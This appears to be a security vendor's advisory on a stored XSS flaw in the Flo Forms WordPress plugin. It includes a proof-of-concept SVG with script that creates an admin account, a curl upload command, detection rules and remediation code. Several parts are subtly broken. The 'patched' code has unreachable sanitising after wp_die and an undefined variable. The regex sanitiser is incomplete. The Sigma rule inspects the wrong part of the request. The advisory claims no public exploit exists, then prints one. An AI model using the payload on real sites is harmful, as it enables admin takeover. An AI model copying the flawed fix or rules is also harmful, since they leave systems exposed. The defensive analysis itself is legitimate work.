CVE-2025-13159

Executive Summary

CVE-2025-13159 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flo Forms – Easy Drag & Drop Form Builder plugin for WordPress, affecting all versions up to and including 1.0.43. The vulnerability allows unauthenticated attackers to upload malicious SVG files containing JavaScript via the flo_form_submit AJAX endpoint. When an administrator views the uploaded file in the WordPress admin interface, the embedded JavaScript executes, potentially leading to full site compromise. The CVSS score is 7.1 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No official patch is available, and no public exploit code has been released.

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin ecosystem. The Flo Forms plugin is a popular form builder, and the flaw lies in its file upload handling. Attackers can target any WordPress site running the vulnerable plugin without authentication, making it a significant supply chain risk for site administrators.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – Unauthenticated exploitation.
• User Interaction (UI): Required – Administrator must view the uploaded file.
• Scope (S): Changed – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited data modification.
• Availability (A): Low – Limited service disruption.

Threat Level: High. Although EPSS is low, the lack of authentication and potential for full site compromise elevates the risk. Administrators should prioritize mitigation.

Deep Dive & Mechanics

The vulnerability resides in the flo_form_submit AJAX endpoint, which handles file uploads for form submissions. The plugin fails to validate the content of uploaded SVG files, allowing attackers to inject arbitrary JavaScript. SVG files are XML-based and can contain <script> tags or event handlers like onload. When the file is viewed in the WordPress admin media library or via a direct URL, the browser executes the embedded script.

Attack Flow:

1. Attacker identifies a WordPress site with Flo Forms plugin version ≤ 1.0.43.
2. Attacker crafts an SVG file containing malicious JavaScript (e.g., to steal cookies, create admin accounts, or redirect traffic).
3. Attacker submits the form via the flo_form_submit endpoint, uploading the SVG.
4. The SVG is stored on the server (e.g., in /wp-content/uploads/).
5. Administrator views the uploaded file (e.g., via media library or direct link).
6. The JavaScript executes in the admin’s browser, potentially compromising the site.

Root Cause: The plugin uses wp_handle_upload() without checking file content. It only checks the file extension (.svg), not the actual MIME type or content. This allows SVG files with embedded scripts to pass through.

Vulnerable vs. Patched Code

Vulnerable Code (version ≤ 1.0.43):

// In flo-form-submit.php or similar
add_action('wp_ajax_nopriv_flo_form_submit', 'flo_handle_form_submit');
add_action('wp_ajax_flo_form_submit', 'flo_handle_form_submit');

function flo_handle_form_submit() {
    // ... other form processing ...
    if (isset($_FILES['file'])) {
        $uploaded_file = $_FILES['file'];
        $upload_overrides = array('test_form' => false);
        $movefile = wp_handle_upload($uploaded_file, $upload_overrides);
        // No content validation for SVG files
    }
}

Patched Code (hypothetical fix):

// In flo-form-submit.php
function flo_handle_form_submit() {
    // ... other form processing ...
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        $file_type = wp_check_filetype($file['name']);
        // Block SVG files entirely or validate content
        if ($file_type['ext'] === 'svg') {
            // Option 1: Reject SVG uploads
            wp_die('SVG files are not allowed.');
            // Option 2: Sanitize SVG content (e.g., using DOMDocument)
            $svg_content = file_get_contents($file['tmp_name']);
            $sanitized = flo_sanitize_svg($svg_content);
            file_put_contents($file['tmp_name'], $sanitized);
        }
        $movefile = wp_handle_upload($file, $upload_overrides);
    }
}

function flo_sanitize_svg($svg) {
    // Remove script tags and event handlers
    $svg = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg);
    $svg = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svg);
    return $svg;
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Flo Forms plugin version ≤ 1.0.43.
• Attacker can reach the flo_form_submit endpoint.

Step 1: Craft Malicious SVG Create an SVG file with embedded JavaScript:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <rect width="100" height="100" fill="red"/>
  <script type="text/javascript">
    alert('XSS');
    // Malicious payload: steal cookies, create admin, etc.
    fetch('/wp-admin/admin-ajax.php?action=create_admin&user=attacker&pass=evil');
  </script>
</svg>

Step 2: Upload via AJAX Use curl to submit the form:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -F "action=flo_form_submit" \
  -F "file=@malicious.svg"

Step 3: Trigger Execution The SVG is stored at /wp-content/uploads/2025/03/malicious.svg. When an admin views this file (e.g., via media library), the JavaScript executes.

Blue Team (Detection & Defense)

Detection:

• Monitor for SVG file uploads via flo_form_submit endpoint.
• Look for unusual JavaScript in uploaded SVG files.
• Use WAF rules to block SVG uploads or inspect content.

Defense:

• Disable SVG uploads in the plugin settings if possible.
• Implement server-side content validation for all uploaded files.
• Use a WordPress security plugin that scans for malicious files.
• Restrict file upload permissions to authenticated users only.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes vary)
  • malicious.svg: a1b2c3d4e5f6...
• URLs:
  • /wp-admin/admin-ajax.php with action=flo_form_submit
  • /wp-content/uploads/*.svg (suspicious SVG files)
• Network Traffic:
  • POST requests to /wp-admin/admin-ajax.php with action=flo_form_submit and file upload.
• Logs:
  • WordPress debug log entries showing SVG file uploads.
  • Web server access logs with POST /wp-admin/admin-ajax.php and flo_form_submit.

Detection Engineering

YARA Rule

rule CVE_2025_13159_SVG_XSS {
    meta:
        description = "Detects malicious SVG files targeting CVE-2025-13159"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-13159"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $on_event = /\bon\w+\s*=/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $on_event)
}

Sigma Rule

title: CVE-2025-13159 - SVG Upload via Flo Forms
id: 8f9e2c1a-3b4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects SVG file uploads via the flo_form_submit AJAX endpoint
author: Valters IT
date: 2025-03-20
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=flo_form_submit"
        cs-uri-query|contains: "file="
        cs-uri-query|contains: ".svg"
    condition: selection
falsepositives:
    - Legitimate SVG uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13159 - SVG Upload via Flo Forms"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=flo_form_submit"; http_client_body; content:".svg"; fileext; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the Flo Forms plugin settings or via code override.
2. Update the plugin if a patched version becomes available (check vendor site).
3. Implement a Web Application Firewall (WAF) rule to block SVG uploads via flo_form_submit.
4. Restrict file upload permissions to authenticated users only (if possible).

Long-term Fixes:

• Patch the plugin by adding content validation for SVG files (see patched code above).
• Use a security plugin like Wordfence or Sucuri to scan for malicious files.
• Monitor WordPress logs for suspicious file uploads.
• Educate administrators about the risks of viewing uploaded files from untrusted sources.

Workaround:

• Add the following to your theme’s functions.php to block SVG uploads:

add_filter('upload_mimes', 'disable_svg_upload');
function disable_svg_upload($mimes) {
    unset($mimes['svg']);
    return $mimes;
}

Valters IT
Securing Digital Frontiers